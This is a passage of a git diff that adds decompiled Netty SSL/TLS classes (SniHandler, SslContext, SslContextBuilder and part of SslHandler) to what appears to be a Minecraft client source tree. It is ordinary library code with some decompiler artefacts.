+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    if ((!suppressRead) && (!handshakeFailed)) {
+      int writerIndex = in.writerIndex();
+      try
+      {
+        for (int i = 0; i < 4; i++) {
+          int readerIndex = in.readerIndex();
+          int readableBytes = writerIndex - readerIndex;
+          if (readableBytes < 5)
+          {
+            return;
+          }
+          
+          int command = in.getUnsignedByte(readerIndex);
+          
+
+          switch (command) {
+          case 20: 
+          case 21: 
+            int len = SslUtils.getEncryptedPacketLength(in, readerIndex);
+            
+
+            if (len == -1) {
+              handshakeFailed = true;
+              NotSslRecordException e = new NotSslRecordException("not an SSL/TLS record: " + ByteBufUtil.hexDump(in));
+              
+              in.skipBytes(in.readableBytes());
+              ctx.fireExceptionCaught(e);
+              
+              SslUtils.notifyHandshakeFailure(ctx, e);
+              return;
+            }
+            if (writerIndex - readerIndex - 5 < len)
+            {
+              return;
+            }
+            
+            in.skipBytes(len);
+            break;
+          case 22: 
+            int majorVersion = in.getUnsignedByte(readerIndex + 1);
+            
+
+            if (majorVersion == 3) {
+              int packetLength = in.getUnsignedShort(readerIndex + 3) + 5;
+              
+
+              if (readableBytes < packetLength)
+              {
+                return;
+              }
+              
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+              int endOffset = readerIndex + packetLength;
+              int offset = readerIndex + 43;
+              
+              if (endOffset - offset < 6) {
+                break;
+              }
+              
+              int sessionIdLength = in.getUnsignedByte(offset);
+              offset += sessionIdLength + 1;
+              
+              int cipherSuitesLength = in.getUnsignedShort(offset);
+              offset += cipherSuitesLength + 2;
+              
+              int compressionMethodLength = in.getUnsignedByte(offset);
+              offset += compressionMethodLength + 1;
+              
+              int extensionsLength = in.getUnsignedShort(offset);
+              offset += 2;
+              int extensionsLimit = offset + extensionsLength;
+              
+              if (extensionsLimit > endOffset) {
+                break;
+              }
+              
+
+
+              while (extensionsLimit - offset >= 4)
+              {
+
+
+                int extensionType = in.getUnsignedShort(offset);
+                offset += 2;
+                
+                int extensionLength = in.getUnsignedShort(offset);
+                offset += 2;
+                
+                if (extensionsLimit - offset < extensionLength) {
+                  break;
+                }
+                
+
+
+                if (extensionType == 0) {
+                  offset += 2;
+                  if (extensionsLimit - offset < 3) {
+                    break;
+                  }
+                  
+                  int serverNameType = in.getUnsignedByte(offset);
+                  offset++;
+                  
+                  if (serverNameType != 0) break;
+                  int serverNameLength = in.getUnsignedShort(offset);
+                  offset += 2;
+                  
+                  if (extensionsLimit - offset < serverNameLength) {
+                    break;
+                  }
+                  
+                  String hostname = in.toString(offset, serverNameLength, CharsetUtil.UTF_8);
+                  
+                  try
+                  {
+                    select(ctx, IDN.toASCII(hostname, 1).toLowerCase(Locale.US));
+                  }
+                  catch (Throwable t) {
+                    ctx.fireExceptionCaught(t);
+                  }
+                  return;
+                }
+                
+
+
+
+
+                offset += extensionLength;
+              }
+            }
+            break;
+          }
+          
+          break;
+        }
+      }
+      catch (Throwable e)
+      {
+        if (logger.isDebugEnabled()) {
+          logger.debug("Unexpected client hello packet: " + ByteBufUtil.hexDump(in), e);
+        }
+      }
+      
+      select(ctx, null);
+    }
+  }
+  
+  private void select(final ChannelHandlerContext ctx, final String hostname) throws Exception {
+    Future<SslContext> future = lookup(ctx, hostname);
+    if (future.isDone()) {
+      if (future.isSuccess()) {
+        onSslContext(ctx, hostname, (SslContext)future.getNow());
+      } else {
+        throw new DecoderException("failed to get the SslContext for " + hostname, future.cause());
+      }
+    } else {
+      suppressRead = true;
+      future.addListener(new FutureListener()
+      {
+        public void operationComplete(Future<SslContext> future) throws Exception {
+          try {
+            suppressRead = false;
+            if (future.isSuccess()) {
+              SniHandler.this.onSslContext(ctx, hostname, (SslContext)future.getNow());
+            } else {
+              ctx.fireExceptionCaught(new DecoderException("failed to get the SslContext for " + hostname, future.cause()));
+            }
+          }
+          finally {
+            if (readPending) {
+              readPending = false;
+              ctx.read();
+            }
+          }
+        }
+      });
+    }
+  }
+  
+
+
+
+
+  protected Future<SslContext> lookup(ChannelHandlerContext ctx, String hostname)
+    throws Exception
+  {
+    return mapping.map(hostname, ctx.executor().newPromise());
+  }
+  
+
+
+
+
+  private void onSslContext(ChannelHandlerContext ctx, String hostname, SslContext sslContext)
+  {
+    selection = new Selection(sslContext, hostname);
+    try {
+      replaceHandler(ctx, hostname, sslContext);
+    } catch (Throwable cause) {
+      selection = EMPTY_SELECTION;
+      ctx.fireExceptionCaught(cause);
+    }
+  }
+  
+
+
+
+
+
+
+
+  protected void replaceHandler(ChannelHandlerContext ctx, String hostname, SslContext sslContext)
+    throws Exception
+  {
+    SslHandler sslHandler = null;
+    try {
+      sslHandler = sslContext.newHandler(ctx.alloc());
+      ctx.pipeline().replace(this, SslHandler.class.getName(), sslHandler);
+      sslHandler = null;
+
+    }
+    finally
+    {
+      if (sslHandler != null) {
+        ReferenceCountUtil.safeRelease(sslHandler.engine());
+      }
+    }
+  }
+  
+  public void bind(ChannelHandlerContext ctx, SocketAddress localAddress, ChannelPromise promise) throws Exception
+  {
+    ctx.bind(localAddress, promise);
+  }
+  
+  public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise)
+    throws Exception
+  {
+    ctx.connect(remoteAddress, localAddress, promise);
+  }
+  
+  public void disconnect(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    ctx.disconnect(promise);
+  }
+  
+  public void close(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    ctx.close(promise);
+  }
+  
+  public void deregister(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    ctx.deregister(promise);
+  }
+  
+  public void read(ChannelHandlerContext ctx) throws Exception
+  {
+    if (suppressRead) {
+      readPending = true;
+    } else {
+      ctx.read();
+    }
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    ctx.write(msg, promise);
+  }
+  
+  public void flush(ChannelHandlerContext ctx) throws Exception
+  {
+    ctx.flush();
+  }
+  
+  private static final class AsyncMappingAdapter implements AsyncMapping<String, SslContext> {
+    private final Mapping<? super String, ? extends SslContext> mapping;
+    
+    private AsyncMappingAdapter(Mapping<? super String, ? extends SslContext> mapping) {
+      this.mapping = ((Mapping)ObjectUtil.checkNotNull(mapping, "mapping"));
+    }
+    
+    public Future<SslContext> map(String input, Promise<SslContext> promise)
+    {
+      try
+      {
+        context = (SslContext)mapping.map(input);
+      } catch (Throwable cause) { SslContext context;
+        return promise.setFailure(cause); }
+      SslContext context;
+      return promise.setSuccess(context);
+    }
+  }
+  
+  private static final class Selection {
+    final SslContext context;
+    final String hostname;
+    
+    Selection(SslContext context, String hostname) {
+      this.context = context;
+      this.hostname = hostname;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/SslContext.java b/src/minecraft/io/netty/handler/ssl/SslContext.java
new file mode 100644
index 0000000..bd3d255
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/SslContext.java
@@ -0,0 +1,452 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBufAllocator;
+import java.io.File;
+import java.util.List;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.TrustManagerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SslContext
+{
+  public static SslProvider defaultServerProvider()
+  {
+    if (OpenSsl.isAvailable()) {
+      return SslProvider.OPENSSL;
+    }
+    return SslProvider.JDK;
+  }
+  
+
+
+
+
+
+  public static SslProvider defaultClientProvider()
+  {
+    return SslProvider.JDK;
+  }
+  
+
+
+
+
+
+  public static SslContext newServerContext(File certChainFile, File keyFile)
+    throws SSLException
+  {
+    return newServerContext(null, certChainFile, keyFile, null, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+  public static SslContext newServerContext(File certChainFile, File keyFile, String keyPassword)
+    throws SSLException
+  {
+    return newServerContext(null, certChainFile, keyFile, keyPassword, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static SslContext newServerContext(File certChainFile, File keyFile, String keyPassword, Iterable<String> ciphers, Iterable<String> nextProtocols, long sessionCacheSize, long sessionTimeout)
+    throws SSLException
+  {
+    return newServerContext(null, certChainFile, keyFile, keyPassword, ciphers, nextProtocols, sessionCacheSize, sessionTimeout);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static SslContext newServerContext(SslProvider provider, File certChainFile, File keyFile)
+    throws SSLException
+  {
+    return newServerContext(provider, certChainFile, keyFile, null, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static SslContext newServerContext(SslProvider provider, File certChainFile, File keyFile, String keyPassword)
+    throws SSLException
+  {
+    return newServerContext(provider, certChainFile, keyFile, keyPassword, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static SslContext newServerContext(SslProvider provider, File certChainFile, File keyFile, String keyPassword, Iterable<String> ciphers, Iterable<String> nextProtocols, long sessionCacheSize, long sessionTimeout)
+    throws SSLException
+  {
+    if (provider == null) {
+      provider = OpenSsl.isAvailable() ? SslProvider.OPENSSL : SslProvider.JDK;
+    }
+    
+    switch (1.$SwitchMap$io$netty$handler$ssl$SslProvider[provider.ordinal()]) {
+    case 1: 
+      return new JdkSslServerContext(certChainFile, keyFile, keyPassword, ciphers, nextProtocols, sessionCacheSize, sessionTimeout);
+    
+
+    case 2: 
+      return new OpenSslServerContext(certChainFile, keyFile, keyPassword, ciphers, nextProtocols, sessionCacheSize, sessionTimeout);
+    }
+    
+    
+    throw new Error(provider.toString());
+  }
+  
+
+
+
+
+  public static SslContext newClientContext()
+    throws SSLException
+  {
+    return newClientContext(null, null, null, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+  public static SslContext newClientContext(File certChainFile)
+    throws SSLException
+  {
+    return newClientContext(null, certChainFile, null, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+  public static SslContext newClientContext(TrustManagerFactory trustManagerFactory)
+    throws SSLException
+  {
+    return newClientContext(null, null, trustManagerFactory, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static SslContext newClientContext(File certChainFile, TrustManagerFactory trustManagerFactory)
+    throws SSLException
+  {
+    return newClientContext(null, certChainFile, trustManagerFactory, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static SslContext newClientContext(File certChainFile, TrustManagerFactory trustManagerFactory, Iterable<String> ciphers, Iterable<String> nextProtocols, long sessionCacheSize, long sessionTimeout)
+    throws SSLException
+  {
+    return newClientContext(null, certChainFile, trustManagerFactory, ciphers, nextProtocols, sessionCacheSize, sessionTimeout);
+  }
+  
+
+
+
+
+
+
+
+
+  public static SslContext newClientContext(SslProvider provider)
+    throws SSLException
+  {
+    return newClientContext(provider, null, null, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+  public static SslContext newClientContext(SslProvider provider, File certChainFile)
+    throws SSLException
+  {
+    return newClientContext(provider, certChainFile, null, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static SslContext newClientContext(SslProvider provider, TrustManagerFactory trustManagerFactory)
+    throws SSLException
+  {
+    return newClientContext(provider, null, trustManagerFactory, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static SslContext newClientContext(SslProvider provider, File certChainFile, TrustManagerFactory trustManagerFactory)
+    throws SSLException
+  {
+    return newClientContext(provider, certChainFile, trustManagerFactory, null, null, 0L, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static SslContext newClientContext(SslProvider provider, File certChainFile, TrustManagerFactory trustManagerFactory, Iterable<String> ciphers, Iterable<String> nextProtocols, long sessionCacheSize, long sessionTimeout)
+    throws SSLException
+  {
+    if ((provider != null) && (provider != SslProvider.JDK)) {
+      throw new SSLException("client context unsupported for: " + provider);
+    }
+    
+    return new JdkSslClientContext(certChainFile, trustManagerFactory, ciphers, nextProtocols, sessionCacheSize, sessionTimeout);
+  }
+  
+
+
+  SslContext() {}
+  
+
+
+  public final boolean isServer()
+  {
+    return !isClient();
+  }
+  
+
+
+
+
+
+  public abstract boolean isClient();
+  
+
+
+
+
+
+  public abstract List<String> cipherSuites();
+  
+
+
+
+
+
+  public abstract long sessionCacheSize();
+  
+
+
+
+
+  public abstract long sessionTimeout();
+  
+
+
+
+
+  public abstract List<String> nextProtocols();
+  
+
+
+
+
+  public abstract SSLEngine newEngine(ByteBufAllocator paramByteBufAllocator);
+  
+
+
+
+
+  public abstract SSLEngine newEngine(ByteBufAllocator paramByteBufAllocator, String paramString, int paramInt);
+  
+
+
+
+
+  public final SslHandler newHandler(ByteBufAllocator alloc)
+  {
+    return newHandler(newEngine(alloc));
+  }
+  
+
+
+
+
+
+
+
+  public final SslHandler newHandler(ByteBufAllocator alloc, String peerHost, int peerPort)
+  {
+    return newHandler(newEngine(alloc, peerHost, peerPort));
+  }
+  
+  private static SslHandler newHandler(SSLEngine engine) {
+    return new SslHandler(engine);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/SslContextBuilder.java b/src/minecraft/io/netty/handler/ssl/SslContextBuilder.java
new file mode 100644
index 0000000..65a65cb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/SslContextBuilder.java
@@ -0,0 +1,408 @@
+package io.netty.handler.ssl;
+
+import io.netty.util.internal.ObjectUtil;
+import java.io.File;
+import java.io.InputStream;
+import java.security.PrivateKey;
+import java.security.cert.X509Certificate;
+import javax.net.ssl.KeyManagerFactory;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.TrustManagerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SslContextBuilder
+{
+  private final boolean forServer;
+  private SslProvider provider;
+  private X509Certificate[] trustCertCollection;
+  private TrustManagerFactory trustManagerFactory;
+  private X509Certificate[] keyCertChain;
+  private PrivateKey key;
+  private String keyPassword;
+  private KeyManagerFactory keyManagerFactory;
+  private Iterable<String> ciphers;
+  
+  public static SslContextBuilder forClient()
+  {
+    return new SslContextBuilder(false);
+  }
+  
+
+
+
+
+
+
+  public static SslContextBuilder forServer(File keyCertChainFile, File keyFile)
+  {
+    return new SslContextBuilder(true).keyManager(keyCertChainFile, keyFile);
+  }
+  
+
+
+
+
+
+
+  public static SslContextBuilder forServer(InputStream keyCertChainInputStream, InputStream keyInputStream)
+  {
+    return new SslContextBuilder(true).keyManager(keyCertChainInputStream, keyInputStream);
+  }
+  
+
+
+
+
+
+
+  public static SslContextBuilder forServer(PrivateKey key, X509Certificate... keyCertChain)
+  {
+    return new SslContextBuilder(true).keyManager(key, keyCertChain);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static SslContextBuilder forServer(File keyCertChainFile, File keyFile, String keyPassword)
+  {
+    return new SslContextBuilder(true).keyManager(keyCertChainFile, keyFile, keyPassword);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static SslContextBuilder forServer(InputStream keyCertChainInputStream, InputStream keyInputStream, String keyPassword)
+  {
+    return new SslContextBuilder(true).keyManager(keyCertChainInputStream, keyInputStream, keyPassword);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static SslContextBuilder forServer(PrivateKey key, String keyPassword, X509Certificate... keyCertChain)
+  {
+    return new SslContextBuilder(true).keyManager(key, keyPassword, keyCertChain);
+  }
+  
+
+
+
+
+
+  public static SslContextBuilder forServer(KeyManagerFactory keyManagerFactory)
+  {
+    return new SslContextBuilder(true).keyManager(keyManagerFactory);
+  }
+  
+
+
+
+
+
+
+
+
+
+  private CipherSuiteFilter cipherFilter = IdentityCipherSuiteFilter.INSTANCE;
+  private ApplicationProtocolConfig apn;
+  private long sessionCacheSize;
+  private long sessionTimeout;
+  private ClientAuth clientAuth = ClientAuth.NONE;
+  private boolean startTls;
+  
+  private SslContextBuilder(boolean forServer) {
+    this.forServer = forServer;
+  }
+  
+
+
+  public SslContextBuilder sslProvider(SslProvider provider)
+  {
+    this.provider = provider;
+    return this;
+  }
+  
+
+
+  public SslContextBuilder trustManager(File trustCertCollectionFile)
+  {
+    try
+    {
+      return trustManager(SslContext.toX509Certificates(trustCertCollectionFile));
+    } catch (Exception e) {
+      throw new IllegalArgumentException("File does not contain valid certificates: " + trustCertCollectionFile, e);
+    }
+  }
+  
+
+
+
+  public SslContextBuilder trustManager(InputStream trustCertCollectionInputStream)
+  {
+    try
+    {
+      return trustManager(SslContext.toX509Certificates(trustCertCollectionInputStream));
+    } catch (Exception e) {
+      throw new IllegalArgumentException("Input stream does not contain valid certificates.", e);
+    }
+  }
+  
+
+
+  public SslContextBuilder trustManager(X509Certificate... trustCertCollection)
+  {
+    this.trustCertCollection = (trustCertCollection != null ? (X509Certificate[])trustCertCollection.clone() : null);
+    trustManagerFactory = null;
+    return this;
+  }
+  
+
+
+
+
+  public SslContextBuilder trustManager(TrustManagerFactory trustManagerFactory)
+  {
+    trustCertCollection = null;
+    this.trustManagerFactory = trustManagerFactory;
+    return this;
+  }
+  
+
+
+
+
+
+
+  public SslContextBuilder keyManager(File keyCertChainFile, File keyFile)
+  {
+    return keyManager(keyCertChainFile, keyFile, null);
+  }
+  
+
+
+
+
+
+
+  public SslContextBuilder keyManager(InputStream keyCertChainInputStream, InputStream keyInputStream)
+  {
+    return keyManager(keyCertChainInputStream, keyInputStream, null);
+  }
+  
+
+
+
+
+
+
+  public SslContextBuilder keyManager(PrivateKey key, X509Certificate... keyCertChain)
+  {
+    return keyManager(key, null, keyCertChain);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public SslContextBuilder keyManager(File keyCertChainFile, File keyFile, String keyPassword)
+  {
+    try
+    {
+      keyCertChain = SslContext.toX509Certificates(keyCertChainFile);
+    } catch (Exception e) { X509Certificate[] keyCertChain;
+      throw new IllegalArgumentException("File does not contain valid certificates: " + keyCertChainFile, e);
+    }
+    X509Certificate[] keyCertChain;
+    try { key = SslContext.toPrivateKey(keyFile, keyPassword);
+    } catch (Exception e) { PrivateKey key;
+      throw new IllegalArgumentException("File does not contain valid private key: " + keyFile, e); }
+    PrivateKey key;
+    return keyManager(key, keyPassword, keyCertChain);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public SslContextBuilder keyManager(InputStream keyCertChainInputStream, InputStream keyInputStream, String keyPassword)
+  {
+    try
+    {
+      keyCertChain = SslContext.toX509Certificates(keyCertChainInputStream);
+    } catch (Exception e) { X509Certificate[] keyCertChain;
+      throw new IllegalArgumentException("Input stream not contain valid certificates.", e);
+    }
+    X509Certificate[] keyCertChain;
+    try { key = SslContext.toPrivateKey(keyInputStream, keyPassword);
+    } catch (Exception e) { PrivateKey key;
+      throw new IllegalArgumentException("Input stream does not contain valid private key.", e); }
+    PrivateKey key;
+    return keyManager(key, keyPassword, keyCertChain);
+  }
+  
+
+
+
+
+
+
+
+
+  public SslContextBuilder keyManager(PrivateKey key, String keyPassword, X509Certificate... keyCertChain)
+  {
+    if (forServer) {
+      ObjectUtil.checkNotNull(keyCertChain, "keyCertChain required for servers");
+      if (keyCertChain.length == 0) {
+        throw new IllegalArgumentException("keyCertChain must be non-empty");
+      }
+      ObjectUtil.checkNotNull(key, "key required for servers");
+    }
+    if ((keyCertChain == null) || (keyCertChain.length == 0)) {
+      this.keyCertChain = null;
+    } else {
+      for (X509Certificate cert : keyCertChain) {
+        if (cert == null) {
+          throw new IllegalArgumentException("keyCertChain contains null entry");
+        }
+      }
+      this.keyCertChain = ((X509Certificate[])keyCertChain.clone());
+    }
+    this.key = key;
+    this.keyPassword = keyPassword;
+    keyManagerFactory = null;
+    return this;
+  }
+  
+
+
+
+
+
+  public SslContextBuilder keyManager(KeyManagerFactory keyManagerFactory)
+  {
+    if (forServer) {
+      ObjectUtil.checkNotNull(keyManagerFactory, "keyManagerFactory required for servers");
+    }
+    keyCertChain = null;
+    key = null;
+    keyPassword = null;
+    this.keyManagerFactory = keyManagerFactory;
+    return this;
+  }
+  
+
+
+
+  public SslContextBuilder ciphers(Iterable<String> ciphers)
+  {
+    return ciphers(ciphers, IdentityCipherSuiteFilter.INSTANCE);
+  }
+  
+
+
+
+
+  public SslContextBuilder ciphers(Iterable<String> ciphers, CipherSuiteFilter cipherFilter)
+  {
+    ObjectUtil.checkNotNull(cipherFilter, "cipherFilter");
+    this.ciphers = ciphers;
+    this.cipherFilter = cipherFilter;
+    return this;
+  }
+  
+
+
+  public SslContextBuilder applicationProtocolConfig(ApplicationProtocolConfig apn)
+  {
+    this.apn = apn;
+    return this;
+  }
+  
+
+
+
+  public SslContextBuilder sessionCacheSize(long sessionCacheSize)
+  {
+    this.sessionCacheSize = sessionCacheSize;
+    return this;
+  }
+  
+
+
+
+  public SslContextBuilder sessionTimeout(long sessionTimeout)
+  {
+    this.sessionTimeout = sessionTimeout;
+    return this;
+  }
+  
+
+
+  public SslContextBuilder clientAuth(ClientAuth clientAuth)
+  {
+    this.clientAuth = ((ClientAuth)ObjectUtil.checkNotNull(clientAuth, "clientAuth"));
+    return this;
+  }
+  
+
+
+  public SslContextBuilder startTls(boolean startTls)
+  {
+    this.startTls = startTls;
+    return this;
+  }
+  
+
+
+
+  public SslContext build()
+    throws SSLException
+  {
+    if (forServer) {
+      return SslContext.newServerContextInternal(provider, trustCertCollection, trustManagerFactory, keyCertChain, key, keyPassword, keyManagerFactory, ciphers, cipherFilter, apn, sessionCacheSize, sessionTimeout, clientAuth, startTls);
+    }
+    
+
+    return SslContext.newClientContextInternal(provider, trustCertCollection, trustManagerFactory, keyCertChain, key, keyPassword, keyManagerFactory, ciphers, cipherFilter, apn, sessionCacheSize, sessionTimeout);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/SslHandler.java b/src/minecraft/io/netty/handler/ssl/SslHandler.java
new file mode 100644
index 0000000..f94bb7c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/SslHandler.java
@@ -0,0 +1,1293 @@
+package io.netty.handler.ssl;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelOutboundHandler;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.PendingWriteQueue;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import io.netty.util.concurrent.DefaultPromise;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+import io.netty.util.concurrent.ImmediateExecutor;
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.net.SocketAddress;
+import java.nio.ByteBuffer;
+import java.nio.channels.ClosedChannelException;
+import java.nio.channels.DatagramChannel;
+import java.nio.channels.SocketChannel;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLEngineResult;
+import javax.net.ssl.SSLEngineResult.HandshakeStatus;
+import javax.net.ssl.SSLEngineResult.Status;
+import javax.net.ssl.SSLException;
+import javax.net.ssl.SSLSession;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SslHandler
+  extends ByteToMessageDecoder
+  implements ChannelOutboundHandler
+{
+  private static final InternalLogger logger;
+  private static final Pattern IGNORABLE_CLASS_IN_STACK;
+  private static final Pattern IGNORABLE_ERROR_MESSAGE;
+  private static final SSLException SSLENGINE_CLOSED;
+  private static final SSLException HANDSHAKE_TIMED_OUT;
+  private static final ClosedChannelException CHANNEL_CLOSED;
+  private volatile ChannelHandlerContext ctx;
+  private final SSLEngine engine;
+  private final int maxPacketBufferSize;
+  private final Executor delegatedTaskExecutor;
+  private final boolean wantsDirectBuffer;
+  private final boolean wantsLargeOutboundNetworkBuffer;
+  private boolean wantsInboundHeapBuffer;
+  private final boolean startTls;
+  private boolean sentFirstMessage;
+  private boolean flushedBeforeHandshakeDone;
+  private PendingWriteQueue pendingUnencryptedWrites;
+  
+  static
+  {
+    logger = InternalLoggerFactory.getInstance(SslHandler.class);
+    
+
+    IGNORABLE_CLASS_IN_STACK = Pattern.compile("^.*(?:Socket|Datagram|Sctp|Udt)Channel.*$");
+    
+    IGNORABLE_ERROR_MESSAGE = Pattern.compile("^.*(?:connection.*(?:reset|closed|abort|broken)|broken.*pipe).*$", 2);
+    
+
+    SSLENGINE_CLOSED = new SSLException("SSLEngine closed already");
+    HANDSHAKE_TIMED_OUT = new SSLException("handshake timed out");
+    CHANNEL_CLOSED = new ClosedChannelException();
+    
+
+    SSLENGINE_CLOSED.setStackTrace(EmptyArrays.EMPTY_STACK_TRACE);
+    HANDSHAKE_TIMED_OUT.setStackTrace(EmptyArrays.EMPTY_STACK_TRACE);
+    CHANNEL_CLOSED.setStackTrace(EmptyArrays.EMPTY_STACK_TRACE);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final LazyChannelPromise handshakePromise = new LazyChannelPromise(null);
+  private final LazyChannelPromise sslCloseFuture = new LazyChannelPromise(null);
+  
+
+
+  private boolean needsFlush;
+  
+
+  private int packetLength;
+  
+
+  private volatile long handshakeTimeoutMillis = 10000L;
+  private volatile long closeNotifyTimeoutMillis = 3000L;
+  
+
+
+
+
+  public SslHandler(SSLEngine engine)
+  {
+    this(engine, false);
+  }
+  
+
+
+
+
+
+
+
+  public SslHandler(SSLEngine engine, boolean startTls)
+  {
+    this(engine, startTls, ImmediateExecutor.INSTANCE);
+  }
+  
+
+
+  @Deprecated
+  public SslHandler(SSLEngine engine, Executor delegatedTaskExecutor)
+  {
+    this(engine, false, delegatedTaskExecutor);
+  }
+  
+
+
+  @Deprecated
+  public SslHandler(SSLEngine engine, boolean startTls, Executor delegatedTaskExecutor)
+  {
+    if (engine == null) {
+      throw new NullPointerException("engine");
+    }
+    if (delegatedTaskExecutor == null) {
+      throw new NullPointerException("delegatedTaskExecutor");
+    }
+    this.engine = engine;
+    this.delegatedTaskExecutor = delegatedTaskExecutor;
+    this.startTls = startTls;
+    maxPacketBufferSize = engine.getSession().getPacketBufferSize();
+    
+    wantsDirectBuffer = (engine instanceof OpenSslEngine);
+    wantsLargeOutboundNetworkBuffer = (!(engine instanceof OpenSslEngine));
+  }
+  
+  public long getHandshakeTimeoutMillis() {
+    return handshakeTimeoutMillis;
+  }
+  
+  public void setHandshakeTimeout(long handshakeTimeout, TimeUnit unit) {
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    
+    setHandshakeTimeoutMillis(unit.toMillis(handshakeTimeout));
+  }
+  
+  public void setHandshakeTimeoutMillis(long handshakeTimeoutMillis) {
+    if (handshakeTimeoutMillis < 0L) {
+      throw new IllegalArgumentException("handshakeTimeoutMillis: " + handshakeTimeoutMillis + " (expected: >= 0)");
+    }
+    
+    this.handshakeTimeoutMillis = handshakeTimeoutMillis;
+  }
+  
+  public long getCloseNotifyTimeoutMillis() {
+    return closeNotifyTimeoutMillis;
+  }
+  
+  public void setCloseNotifyTimeout(long closeNotifyTimeout, TimeUnit unit) {
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    
+    setCloseNotifyTimeoutMillis(unit.toMillis(closeNotifyTimeout));
+  }
+  
+  public void setCloseNotifyTimeoutMillis(long closeNotifyTimeoutMillis) {
+    if (closeNotifyTimeoutMillis < 0L) {
+      throw new IllegalArgumentException("closeNotifyTimeoutMillis: " + closeNotifyTimeoutMillis + " (expected: >= 0)");
+    }
+    
+    this.closeNotifyTimeoutMillis = closeNotifyTimeoutMillis;
+  }
+  
+
+
+  public SSLEngine engine()
+  {
+    return engine;
+  }
+  
+
+
+  public Future<Channel> handshakeFuture()
+  {
+    return handshakePromise;
+  }
+  
+
+
+
+  public ChannelFuture close()
+  {
+    return close(ctx.newPromise());
+  }
+  
+
+
+  public ChannelFuture close(final ChannelPromise future)
+  {
+    final ChannelHandlerContext ctx = this.ctx;
+    ctx.executor().execute(new Runnable()
+    {
+      public void run() {
+        engine.closeOutbound();
+        try {
+          write(ctx, Unpooled.EMPTY_BUFFER, future);
+          flush(ctx);
+        } catch (Exception e) {
+          if (!future.tryFailure(e)) {
+            SslHandler.logger.warn("flush() raised a masked exception.", e);
+          }
+          
+        }
+      }
+    });
+    return future;
+  }
+  
+
+
+
+
+
+
+
+  public Future<Channel> sslCloseFuture()
+  {
+    return sslCloseFuture;
+  }
+  
+  public void handlerRemoved0(ChannelHandlerContext ctx) throws Exception
+  {
